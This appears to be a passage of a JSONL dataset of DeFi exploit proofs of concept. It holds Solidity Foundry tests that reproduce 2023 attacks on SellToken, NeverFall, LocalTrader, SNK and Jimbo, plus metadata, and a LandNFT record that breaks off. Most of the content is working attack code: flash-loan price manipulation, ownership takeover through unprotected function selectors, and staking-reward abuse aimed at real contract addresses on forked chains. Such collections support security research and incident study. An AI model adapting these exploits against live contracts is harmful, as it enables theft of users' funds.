SELLC.approve(address(p_router), type(uint256).max);\n //emit log_named_decimal_uint(\"SELLC price before\", s_router.getToken2Price(address(SELLC), address(wbnb), 1 ether), 18);\n p_router.swapExactTokensForTokens(swap_balance, 0, path, address(this), block.timestamp + 1000);\n //emit log_named_decimal_uint(\"swap_balance: \", s_router.getToken2Price(address(SELLC), address(wbnb), 1 ether), 18);\n\n // 2. short SELLC\n if (data.length > 20) {\n s_router.setTokenPrice(address(SELLC));\n //emit log_named_decimal_uint(\"SELLC price before\", s_router.getToken2Price(address(SELLC), address(wbnb), 1 ether), 18);\n } else {\n //emit log_named_decimal_uint(\"SELLC price after\", s_router.getToken2Price(address(SELLC), address(wbnb), 1 ether), 18);\n s_router.ShortStart{value: address(this).balance}(address(SELLC), address(this), 1);\n }\n\n // 3. drop price\n path[0] = address(SELLC);\n path[1] = address(wbnb);\n p_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SELLC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n //emit log_named_decimal_uint(\"WBNB after\", wbnb.balanceOf(address(this)), 18);\n //emit log_named_decimal_uint(\"SELLC price after\", s_router.getToken2Price(address(SELLC), address(wbnb), 1 ether), 18);\n // 4. end short\n if (data.length < 20) {\n s_router.withdraw(address(SELLC));\n wbnb.deposit{value: address(this).balance}();\n wbnb.transfer(address(oracle1), balance);\n //emit log_named_decimal_uint(\"WBNB profit this time\", wbnb.balanceOf(address(this)), 18);\n } else {\n wbnb.deposit{value: address(this).balance}();\n wbnb.transfer(address(oracle1), balance);\n emit log_named_decimal_uint(\"WBNB cost first\", 10 ether - wbnb.balanceOf(address(this)), 18);\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SellToken", "date": "2023-05", "file_name": "SellToken_exp.sol", "attack_vector": "flash_loan", "content_hash": "1e9b4f0bb03280c0", "collected_at": "2026-01-07T10:59:16.522419", "_source": "postmortems", "chain": "unknown", "block_number": 28168034, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.28, "quality_estimate": "low", "title": "SellToken Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n@Analysis\nhttps://twitter.com/BeosinAlert/status/1653619782317662211\n@TX\nhttps://bscscan.com/tx/0xccf513fa8a8ed762487a0dcfa54aa65c74285de1bc517bd68dbafa2813e4b7cb*/\n\ninterface INeverFall {\n function buy(\n uint256 amountU\n ) external returns (uint256);\n function sell(\n uint256 amount\n ) external returns (uint256);\n}\n\ncontract ContractTest is Test {\n address neverFall = 0x5ABDe8B434133C98c36F4B21476791D95D888bF5;\n address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address creator = 0x051d6a5f987e4fc53B458eC4f88A104356E6995a;\n address busd_usdt_pool = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;\n address usdt = 0x55d398326f99059fF775485246999027B3197955;\n address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 27_863_178 - 1);\n }\n\n function testExploit() public {\n uint256 flashLoanAmount = 1_600_000 * 1e18;\n IUniswapV2Pair(busd_usdt_pool).swap(flashLoanAmount, 0, address(this), new bytes(1));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n uint256 usdtBalance = IERC20(usdt).balanceOf(address(this));\n IERC20(usdt).approve(neverFall, type(uint256).max);\n IERC20(usdt).approve(router, type(uint256).max);\n // buy neverfall\n INeverFall(neverFall).buy(200_000 * 1e18);\n bscSwap(usdt, neverFall, 1_400_000 * 1e18);\n // sell neverfall\n INeverFall(neverFall).sell(75_500_000 * 1e18);\n\n IERC20(usdt).transfer(msg.sender, usdtBalance + usdtBalance * 30 / 10_000);\n emit log_named_decimal_uint(\"[After Attacks] Attacker usdt balance\", IERC20(usdt).balanceOf(address(this)), 18);\n }\n\n function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {\n IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = tokenFrom;\n path[1] = tokenTo;\n IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amount, 0, path, creator, block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "NeverFall", "date": "2023-05", "file_name": "NeverFall_exp.sol", "attack_vector": "flash_loan", "content_hash": "333661ea0e2825e2", "collected_at": "2026-01-07T10:59:16.522465", "_source": "postmortems", "chain": "bsc", "block_number": 27863178, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n uint256 flashLoanAmount = 1_600_000 * 1e18;\n IUniswapV2Pair(busd_usdt_pool).swap(flashLoanAmount, 0, address(this), new bytes(1));\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.17, "quality_estimate": "low", "title": "NeverFall Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/numencyber/status/1661213691893944320\n// @TX\n// https://explorer.phalcon.xyz/tx/bsc/0x57b589f631f8ff20e2a89a649c4ec2e35be72eaecf155fdfde981c0fec2be5ba\n// https://explorer.phalcon.xyz/tx/bsc/0xbea605b238c85aabe5edc636219155d8c4879d6b05c48091cf1f7286bd4702ba\n// https://explorer.phalcon.xyz/tx/bsc/0x49a3038622bf6dc3672b1b7366382a2c513d713e06cb7c91ebb8e256ee300dfb\n// https://explorer.phalcon.xyz/tx/bsc/0x042b8dc879fa193acc79f55a02c08f276eaf1c4f7c66a33811fce2a4507cea63\n// @Summary\n// not open source; maybe inproper access control\n\ninterface LCTExchange {\n function buyTokens() external payable;\n}\n\ncontract LCTExp is Test {\n address victim_proxy = 0x303554d4D8Bd01f18C6fA4A8df3FF57A96071a41;\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n LCTExchange exchange = LCTExchange(0xcE3e12bD77DD54E20a18cB1B94667F3E697bea06);\n IERC20 LCT = IERC20(0x5C65BAdf7F97345B7B92776b22255c973234EfE7);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_460_897);\n deal(address(this), 1 ether);\n }\n\n function testExp() external {\n emit log_named_decimal_uint(\"[Start] Attacker BNB Balance\", address(this).balance, 18);\n\n // Step1: get ownership\n bytes4 selector1 = 0xb5863c10;\n address temp = 0x0567F2323251f0Aab15c8dFb1967E4e8A7D42aeE; // seems just some random meaningless address\n bytes memory data1 = new bytes(36);\n assembly {\n mstore(add(data1, 0x20), selector1)\n mstore(add(data1, 0x24), temp)\n }\n (bool success1,) = victim_proxy.call(data1);\n require(success1, \"change ownership failed\");\n\n // Step2: manipulate price\n bytes4 selector2 = 0x925d400c;\n uint256 new_price = 1;\n bytes memory data2 = new bytes(36);\n assembly {\n mstore(add(data2, 0x20), selector2)\n mstore(add(data2, 0x24), new_price)\n }\n (bool success2,) = victim_proxy.call(data2);\n require(success2, \"manipulate price failed\");\n\n // Step3: buy cheap LCT\n // emit log_named_decimal_uint(\"LCT Balance of Exchange\", LCT.balanceOf(address(exchange)), 18);\n uint256 amount = LCT.balanceOf(address(exchange)) / 1e18;\n exchange.buyTokens{value: amount}();\n // emit log_named_decimal_uint(\"LCT Balance of contract\", LCT.balanceOf(address(this)), 18);\n\n // Step4: swap cheap LCT to BNB in dex\n LCT.approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(LCT);\n path[1] = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; // WBNB\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n LCT.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n\n emit log_named_decimal_uint(\"[End] Attacker BNB Balance\", address(this).balance, 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "LocalTrader", "date": "2023-05", "file_name": "LocalTrader_exp.sol", "attack_vector": "access_control", "content_hash": "0dd482f0ce935a37", "collected_at": "2026-01-07T10:59:16.522510", "_source": "postmortems", "chain": "unknown", "block_number": 28460897, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "access-control", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.6, "quality_estimate": "low", "title": "LocalTrader Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1656176776425644032\n// @TX\n// https://explorer.phalcon.xyz/tx/bsc/0xace112925935335d0d7460a2470a612494f910467e263c7ff477221deee90a2c\n// https://explorer.phalcon.xyz/tx/bsc/0x7394f2520ff4e913321dd78f67dd84483e396eb7a25cbb02e06fe875fc47013a\n// @Summary\n// parent `rewardPerToken`, but times all children's balance\n\ninterface IPancakeRouter01 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETH(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountToken, uint256 amountETH);\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint256 liquidity,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountA, uint256 amountB);\n function removeLiquidityETHWithPermit(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint256 amountToken, uint256 amountETH);\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapTokensForExactTokens(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactETHForTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n function swapTokensForExactETH(\n uint256 amountOut,\n uint256 amountInMax,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapExactTokensForETH(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n function swapETHForExactTokens(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n\n function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);\n function getAmountOut(\n uint256 amountIn,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountOut);\n function getAmountIn(\n uint256 amountOut,\n uint256 reserveIn,\n uint256 reserveOut\n ) external pure returns (uint256 amountIn);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function getAmountsIn(\n uint256 amountOut,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n}\n\ninterface ISNKMinter {\n function bindParent(\n address parent\n ) external;\n function stake(\n uint256 amount\n ) external;\n function getReward() external;\n function exit() external;\n}\n\ncontract SNKExp is Test, IPancakeCallee {\n IERC20 SNKToken = IERC20(0x05e2899179003d7c328de3C224e9dF2827406509);\n ISNKMinter minter = ISNKMinter(0xA3f5ea945c4970f48E322f1e70F4CC08e70039ee);\n IPancakePair pool = IPancakePair(0x7957096Bd7324357172B765C4b0996Bb164ebfd4);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address[] public parents;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 27_784_455);\n deal(address(SNKToken), address(this), 1000 ether);\n for (uint256 i = 0; i < 10; ++i) {\n HackerTemplate t1 = new HackerTemplate();\n SNKToken.transfer(address(t1), 100 ether);\n t1.stake();\n parents.push(address(t1));\n }\n uint256 startTime = block.timestamp;\n vm.warp(startTime + 20 days);\n SNKToken.approve(address(router), type(uint256).max);\n SNKToken.approve(address(pool), type(uint256).max);\n }\n\n function testNormal() external {\n for (uint256 i = 0; i < 10; ++i) {\n HackerTemplate t = HackerTemplate(parents[i]);\n t.exit2();\n }\n address[] memory path = new address[](2);\n path[0] = address(SNKToken);\n path[1] = (address(BUSD));\n emit log_named_decimal_uint(\"Normal SNK Amount should get\", SNKToken.balanceOf(address(this)), 18);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SNKToken.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n emit log_named_decimal_uint(\"Normal BUSD Amount should get\", BUSD.balanceOf(address(this)), 18);\n }\n\n function testExp() external {\n pool.swap(80_000 ether, 0, address(this), bytes(\"0x123\"));\n\n address[] memory path = new address[](2);\n path[0] = address(SNKToken);\n path[1] = (address(BUSD));\n emit log_named_decimal_uint(\"EXP SNK Amount get\", SNKToken.balanceOf(address(this)), 18);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SNKToken.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000\n );\n emit log_named_decimal_uint(\"EXP BUSD Amount get\", BUSD.balanceOf(address(this)), 18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n for (uint256 i = 0; i < 10; ++i) {\n HackerTemplate t1 = new HackerTemplate();\n HackerTemplate t = HackerTemplate(parents[i]);\n t1.bind(parents[i]);\n SNKToken.transfer(address(t1), SNKToken.balanceOf(address(this)));\n t1.stake();\n t.exit2();\n t1.exit1();\n }\n SNKToken.transfer(address(pool), 85_000 ether);\n }\n}\n\ncontract HackerTemplate {\n IERC20 SNKToken = IERC20(0x05e2899179003d7c328de3C224e9dF2827406509);\n ISNKMinter minter = ISNKMinter(0xA3f5ea945c4970f48E322f1e70F4CC08e70039ee);\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"onlyOwner\");\n _;\n }\n\n function stake() public onlyOwner {\n SNKToken.approve(address(minter), SNKToken.balanceOf(address(this)));\n minter.stake(SNKToken.balanceOf(address(this)));\n }\n\n function bind(\n address p\n ) public onlyOwner {\n minter.bindParent(p);\n }\n\n function exit1() public onlyOwner {\n minter.exit();\n SNKToken.transfer(owner, SNKToken.balanceOf(address(this)));\n }\n\n function exit2() public onlyOwner {\n minter.getReward();\n minter.exit();\n SNKToken.transfer(owner, SNKToken.balanceOf(address(this)));\n }\n}\n", "type": "exploit_poc", "protocol": "SNK", "date": "2023-05", "file_name": "SNK_exp.sol", "attack_vector": null, "content_hash": "a0b7a8bb7236ae2a", "collected_at": "2026-01-07T10:59:16.522574", "_source": "postmortems", "chain": "unknown", "block_number": 27784455, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3, "quality_estimate": "low", "title": "SNK Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/cryptofishx/status/1662888991446941697\n// https://docs.jimbosprotocol.xyz/protocol/liquidity-rebalancing-scenarios\n// https://twitter.com/yicunhui2/status/1663793958781353985\n// @TX\n// https://arbiscan.io/tx/0xf9baf8cee8973cf9700ae1b1f41c625d7a2abdbcbc222582d24a8f2f790d0b5a\n// https://arbiscan.io/tx/0xfda5464e97043a2d0093cbed6d0a64f6a86049f5e9608c014396a7390188670e\n// https://arbiscan.io/tx/0x3c6e053faecd331883641c1d23c9d9d37d065e4f9c4086e94a3c34bf8702618a\n// https://arbiscan.io/tx/0x44a0f5650a038ab522087c02f734b80e6c748afb207995e757ed67ca037a5eda\n// @Summary\n// Protocol-specific price manipulation\n\ninterface IJimboController {\n function shift() external;\n function reset() external;\n function anchorBin() external view returns (uint24);\n function triggerBin() external view returns (uint24);\n}\n\ninterface ILBPair {\n function getActiveId() external view returns (uint24 activeId);\n\n function getBin(\n uint24 id\n ) external view returns (uint128 binReserveX, uint128 binReserveY);\n\n function getSwapIn(\n uint128 amountOut,\n bool swapForY\n ) external view returns (uint128 amountIn, uint128 amountOutLeft, uint128 fee);\n}\n\ninterface ILBRouter {\n enum Version {\n V1,\n V2,\n V2_1\n }\n\n /**\n * @dev The liquidity parameters, such as:\n * - tokenX: The address of token X\n * - tokenY: The address of token Y\n * - binStep: The bin step of the pair\n * - amountX: The amount to send of token X\n * - amountY: The amount to send of token Y\n * - amountXMin: The min amount of token X added to liquidity\n * - amountYMin: The min amount of token Y added to liquidity\n * - activeIdDesired: The active id that user wants to add liquidity from\n * - idSlippage: The number of id that are allowed to slip\n * - deltaIds: The list of delta ids to add liquidity (`deltaId = activeId - desiredId`) //@note: wrong comment here, should be `activeId + deltaId = desireId`\n * - distributionX: The distribution of tokenX with sum(distributionX) = 100e18 (100%) or 0 (0%)\n * - distributionY: The distribution of tokenY with sum(distributionY) = 100e18 (100%) or 0 (0%)\n * - to: The address of the recipient\n * - refundTo: The address of the recipient of the refunded tokens if too much tokens are sent\n * - deadline: The deadline of the transaction\n */\n struct LiquidityParameters {\n IERC20 tokenX;\n IERC20 tokenY;\n uint256 binStep;\n uint256 amountX;\n uint256 amountY;\n uint256 amountXMin;\n uint256 amountYMin;\n uint256 activeIdDesired;\n uint256 idSlippage;\n int256[] deltaIds;\n uint256[] distributionX;\n uint256[] distributionY;\n address to;\n address refundTo;\n uint256 deadline;\n }\n /**\n * @dev The path parameters, such as:\n * - pairBinSteps: The list of bin steps of the pairs to go through\n * - versions: The list of versions of the pairs to go through\n * - tokenPath: The list of tokens in the path to go through\n */\n\n struct Path {\n uint256[] pairBinSteps;\n Version[] versions;\n IERC20[] tokenPath;\n }\n\n function addLiquidity(\n LiquidityParameters calldata liquidityParameters\n )\n external\n returns (\n uint256 amountXAdded,\n uint256 amountYAdded,\n uint256 amountXLeft,\n uint256 amountYLeft,\n uint256[] memory depositIds,\n uint256[] memory liquidityMinted\n );\n function swapExactTokensForNATIVE(\n uint256 amountIn,\n uint256 amountOutMinNATIVE,\n Path memory path,\n address payable to,\n uint256 deadline\n ) external returns (uint256 amountOut);\n\n function swapExactNATIVEForTokens(\n uint256 amountOutMin,\n Path memory path,\n address to,\n uint256 deadline\n ) external payable returns (uint256 amountOut);\n\n function swapNATIVEForExactTokens(\n uint256 amountOut,\n Path memory path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amountsIn);\n\n function swapTokensForExactNATIVE(\n uint256 amountOut,\n uint256 amountInMax,\n Path memory path,\n address payable to,\n uint256 deadline\n ) external returns (uint256[] memory amountsIn);\n}\n\ncontract JimboExp is Test {\n IJimboController controller = IJimboController(0x271944d9D8CA831F7c0dBCb20C4ee482376d6DE7);\n ILBPair pair = ILBPair(0x16a5D28b20A3FddEcdcaf02DF4b3935734df1A1f);\n ILBRouter router = ILBRouter(0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30);\n\n IAaveFlashloan pool = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n\n WETH9 weth = WETH9(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);\n IERC20 Jimbo = IERC20(0xC3813645Ad2Ea0AC9D4d72D77c3755ac3B819e38);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"arbitrum\", 95_144_404);\n deal(address(this), 0);\n }\n\n function testExp() external {\n emit log_named_decimal_uint(\"[Start] Attacker WETH Balance\", weth.balanceOf(address(this)), 18);\n\n weth.approve(address(pool), type(uint256).max);\n\n address[] memory assets = new address[](1);\n uint256[] memory amounts = new uint256[](1);\n uint256[] memory modes = new uint256[](1);\n\n assets[0] = address(weth);\n amounts[0] = 10_000 ether;\n modes[0] = 0;\n\n pool.flashLoan(address(this), assets, amounts, modes, address(0), abi.encodePacked(uint16(0x3230)), 0);\n\n emit log_named_decimal_uint(\"[End] Attacker WETH Balance\", weth.balanceOf(address(this)), 18);\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external returns (bool) {\n weth.approve(address(router), type(uint256).max);\n Jimbo.approve(address(router), type(uint256).max);\n weth.withdraw(10_000 ether);\n\n // Step1: add Liquidity to a high bin\n uint256[] memory steps = new uint256[](1);\n ILBRouter.Version[] memory version = new ILBRouter.Version[](1);\n IERC20[] memory tokenPath = new IERC20[](2);\n\n steps[0] = 100;\n version[0] = ILBRouter.Version.V2_1;\n tokenPath[0] = IERC20(address(weth));\n tokenPath[1] = Jimbo;\n\n ILBRouter.Path memory path = ILBRouter.Path(steps, version, tokenPath);\n router.swapNATIVEForExactTokens{value: 10 ether}(1 ether, path, address(this), block.timestamp + 100);\n\n uint24 activeId = pair.getActiveId();\n uint256 amount1 = Jimbo.balanceOf(address(this));\n\n int256[] memory deltaIds = new int256[](1);\n uint256[] memory distributionX = new uint256[](1);\n uint256[] memory distributionY = new uint256[](1);\n\n deltaIds[0] = int256(uint256(uint24((1 << 23) - 1) - activeId));\n distributionX[0] = 1e18;\n distributionY[0] = 0;\n\n ILBRouter.LiquidityParameters memory parameter1 = ILBRouter.LiquidityParameters(\n Jimbo,\n IERC20(address(weth)),\n 100,\n amount1,\n 0,\n 0,\n 0,\n activeId,\n 0,\n deltaIds,\n distributionX,\n distributionY,\n address(this),\n address(this),\n block.timestamp + 100\n );\n\n router.addLiquidity(parameter1);\n\n // Step2: trigger the `triggerBin`\n activeId = pair.getActiveId();\n uint24 triggerBin = controller.triggerBin();\n uint256 amountOut = 0;\n for (uint24 i = activeId; i <= triggerBin; ++i) {\n (uint128 binReserveX, uint128 binReserveY) = pair.getBin(i);\n amountOut += binReserveX;\n //if (i == triggerBin) amountOut += (binReserveX / 10);\n }\n\n router.swapNATIVEForExactTokens{value: address(this).balance}(\n amountOut + 1, path, address(this), block.timestamp + 100\n );\n activeId = pair.getActiveId();\n triggerBin = controller.triggerBin();\n require(activeId > triggerBin, \"not above triggerBin\");\n\n // Step3: shift\n controller.shift();\n\n // Step4: buy All normal Jimbo\n amountOut = 0;\n for (uint24 j = 0; j <= 50; ++j) {\n (uint128 binReserveX, uint128 binReserveY) = pair.getBin(j + activeId);\n amountOut += binReserveX;\n }\n // (uint128 binReserveX,) = pair.getBin(activeId1 + 896);\n // amountOut += uint256(binReserveX / 2);\n router.swapNATIVEForExactTokens{value: address(this).balance}(\n amountOut + 1, path, address(this), block.timestamp + 100\n );\n\n require(pair.getActiveId() == 8_388_607, \"wrong\");\n\n // Step5: shift back\n Jimbo.transfer(address(controller), 100);\n controller.shift();\n\n uint24 anchorBin = controller.anchorBin();\n\n path.tokenPath[1] = path.tokenPath[0];\n path.tokenPath[0] = Jimbo;\n\n while (pair.getActiveId() >= anchorBin) {\n amountOut = 0;\n for (uint24 j = pair.getActiveId(); j >= anchorBin; --j) {\n (, uint128 binReserveY) = pair.getBin(j);\n amountOut += binReserveY;\n }\n (uint256 amountIn,,) = pair.getSwapIn(uint128(amountOut), true);\n router.swapExactTokensForNATIVE(amountIn + 1, 0, path, payable(this), block.timestamp + 100);\n }\n\n require(pair.getActiveId() < anchorBin, \"wrong2\");\n\n // Step6 reset to be plain\n controller.reset();\n\n // Step7: buy to High again\n activeId = pair.getActiveId();\n amountOut = 0;\n for (uint24 j = 0; j <= 50; ++j) {\n (uint128 binReserveX, uint128 binReserveY) = pair.getBin(j + activeId);\n amountOut += binReserveX;\n }\n path.tokenPath[0] = path.tokenPath[1];\n path.tokenPath[1] = Jimbo;\n\n router.swapNATIVEForExactTokens{value: address(this).balance}(\n amountOut + 1, path, address(this), block.timestamp + 100\n );\n\n // Step8: shift back\n Jimbo.transfer(address(controller), 100);\n controller.shift();\n\n // Step9: swap back\n path.tokenPath[1] = path.tokenPath[0];\n path.tokenPath[0] = Jimbo;\n\n router.swapExactTokensForNATIVE(Jimbo.balanceOf(address(this)), 0, path, payable(this), block.timestamp + 100);\n\n // end\n weth.deposit{value: address(this).balance}();\n\n return true;\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Jimbo", "date": "2023-05", "file_name": "Jimbo_exp.sol", "attack_vector": "flash_loan", "content_hash": "f5f8a39f08adf8bc", "collected_at": "2026-01-07T10:59:16.522641", "_source": "postmortems", "chain": "arbitrum", "block_number": 95144404, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "Jimbo Exploit (2023-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 200 land NFT => 28,601 $XQJ => 149,616 $BUSD\n// Attack Tx : https://bscscan.com/tx/0xe4db1550e3aa78a05e93bfd8fbe21b6eba5cce50dc06688949ab479ebed18048\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1658000784943124480?cxt=HHwWgMDU_b27s4IuAAAA\n// https://twitter.com/BeosinAlert/status/1658002030953365505?cxt=HHwWgoDQvYGEtIIuAAAA\n// @Summary\n// Vulnerability: lack of permission control on mint\n\ninterface IMiner {\n function mint(address[] memory to, uint256[] memory value) external;\n}\n\ncontract ContractTest is Test {\n IERC721 landNFT = IERC721(0x1a62fe088F46561bE92BB5F6e83266289b94C154);\n IMiner minerContract = IMiner(0x2e599883715D2f92468Fa5ae3F9aab4E930E3aC7);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n 